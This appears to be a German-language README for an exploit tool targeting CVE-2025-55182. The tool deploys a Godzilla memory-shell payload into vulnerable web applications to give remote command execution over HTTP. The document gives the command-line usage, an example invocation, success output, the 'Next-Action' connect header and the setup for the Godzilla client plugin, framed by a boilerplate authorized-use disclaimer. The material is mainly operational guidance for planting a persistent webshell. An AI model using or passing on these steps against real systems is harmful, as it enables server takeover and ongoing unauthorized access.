
Exploit für CVE-2025-55182, der eine Godzilla Memory-Shell-Nutzlast gegen anfällige Webanwendungen bereitstellt und Remote-Befehlsausführung sowie Shell-Verwaltung über HTTP ermöglicht.
usage: exploit.py [-h] [--proxy PROXY] [--utf16] [--unicode] --key KEY
--target TARGET
CVE-2025-55182 Godzilla Memoryshell
options:
-h, --help show this help message and exit
--proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888
--utf16 Enable UTF-16 encoding
--unicode Enable full unicode escape encoding
--key KEY Godzilla Key
--target TARGET Target URL for exp.exploit()
python exploit.py --key 666 --target http://127.0.0.1:3000
This tool is only suitable for conducting security research, vulnerability detection and related compliance testing on your own systems or explicitly authorized environments within the scope of legal authorization. Any unauthorized, illegal or infringing penetration, attack or other improper use of this tool is strictly prohibited. Users must fully understand and abide by the laws and regulations of their jurisdiction before use, ensure that the purpose of use is legal and compliant, and bear full responsibility for all risks and consequences arising from use. The developer assumes no responsibility for the consequences of any unauthorized or improper use.
Dieses Tool ist ausschließlich für Sicherheitsforschung, Schwachstellenerkennung und entsprechende Compliance-Tests an eigenen Systemen oder explizit autorisierten Umgebungen im Rahmen einer rechtlichen Genehmigung bestimmt. Jegliche unbefugte, illegale oder rechtsverletzende Penetration, Angriffe oder andere missbräuchliche Verwendung dieses Tools sind strengstens untersagt. Benutzer müssen vor der Nutzung die Gesetze und Vorschriften ihrer Gerichtsbarkeit vollständig verstehen und einhalten, sicherstellen, dass der Verwendungszweck legal und konform ist, und die volle Verantwortung für alle Risiken und Folgen tragen, die sich aus der Nutzung ergeben. Der Entwickler übernimmt keine Haftung für Folgen unbefugter oder missbräuchlicher Nutzung.
(y/n): y
[*] exploit ok!
[*] connect header
Next-Action: cd3f0c85b158c08a2b113464991810cf2cdfc387
Vor der Verwendung muss das GodzillaNodeJsPayload-Plugin in Godzilla geladen werden. Der Schlüssel (key) ist der Godzilla-Key; bei der Verbindung wird kein password-Parameter benötigt.
https://github.com/BeichenDream/GodzillaNodeJsPayload